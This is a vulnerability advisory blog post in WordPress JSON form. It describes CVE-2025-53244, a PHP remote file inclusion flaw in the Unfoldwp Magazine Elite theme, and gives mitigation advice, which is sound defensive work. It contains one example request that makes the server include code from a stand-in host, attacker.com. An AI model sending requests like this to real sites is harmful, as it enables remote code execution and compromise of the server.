{"id":72672,"date":"2025-09-07T17:10:18","date_gmt":"2025-09-07T17:10:18","guid":{"rendered":""},"modified":"2025-09-10T11:01:41","modified_gmt":"2025-09-10T17:01:41","slug":"cve-2025-53244-php-remote-file-inclusion-vulnerability-in-unfoldwp-magazine-elite","status":"publish","type":"post","link":"https:\/\/www.ameeba.com\/blog\/cve-2025-53244-php-remote-file-inclusion-vulnerability-in-unfoldwp-magazine-elite\/","title":{"rendered":"CVE-2025-53244: PHP Remote File Inclusion Vulnerability in Unfoldwp Magazine Elite<\/strong>"},"content":{"rendered":"

Overview<\/strong><\/p>\n

The CVE-2025-53244 vulnerability is a critical flaw that lies in the improper control of filename for Include\/Require statement in PHP Program, also known as ‘PHP Remote File Inclusion’. This vulnerability affects the Unfoldwp Magazine Elite platform, a widely used content management system for online magazines. This flaw can potentially compromise an entire system or lead<\/a> to significant data leakage, making it a pressing concern for organizations that utilize the Unfoldwp Magazine Elite for their operations.<\/p>\n

Vulnerability Summary<\/strong><\/p>\n

CVE ID: CVE-2025-53244
\nSeverity: High (8.1 CVSS score)
\nAttack Vector: Network
\nPrivileges Required: Low
\nUser Interaction: None
\nImpact: System compromise<\/a> and data leakage<\/p>\n

Affected Products<\/strong><\/p>\n

Product | Affected Versions<\/p>\n

Unfoldwp Magazine<\/a> Elite | n\/a – 1.2.4<\/p>\n

How the Exploit Works<\/strong><\/p>\n

The exploit takes advantage of the PHP Remote File Inclusion vulnerability<\/a>, which allows an attacker to manipulate the PHP’s include\/require statements to include remote files from an external server. This is usually done by injecting malicious<\/a> URLs into system inputs. The attacker can then execute arbitrary PHP code<\/a> in the context of the application, possibly leading to unauthorized access, data leakage, or even a full system compromise.<\/p>\n

Conceptual Example Code<\/strong><\/p>\n

Here’s a conceptual example of an HTTP request exploiting this vulnerability<\/a>:<\/p>\n

GET \/index.php?file=http:\/\/attacker.com\/malicious_code.php HTTP\/1.1\nHost: vulnerable-website.com<\/code><\/pre>\n
In this example, the `file` parameter in the query string is manipulated to include a remote file (`malicious_code.php`) from an external server (`attacker.com`). This file contains malicious PHP<\/a> code, which is executed when the request is processed by the server.<\/p>\n
Recommendations<\/strong><\/p>\n
It is recommended to apply the vendor patch immediately to mitigate this vulnerability. In the absence of a patch, organizations can use a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) as a temporary measure. Furthermore, organizations should regularly update their systems and applications to the latest versions and conduct regular security audits to identify and rectify any potential vulnerabilities<\/a>.<\/p>\n","protected":false},"excerpt":{"rendered":"
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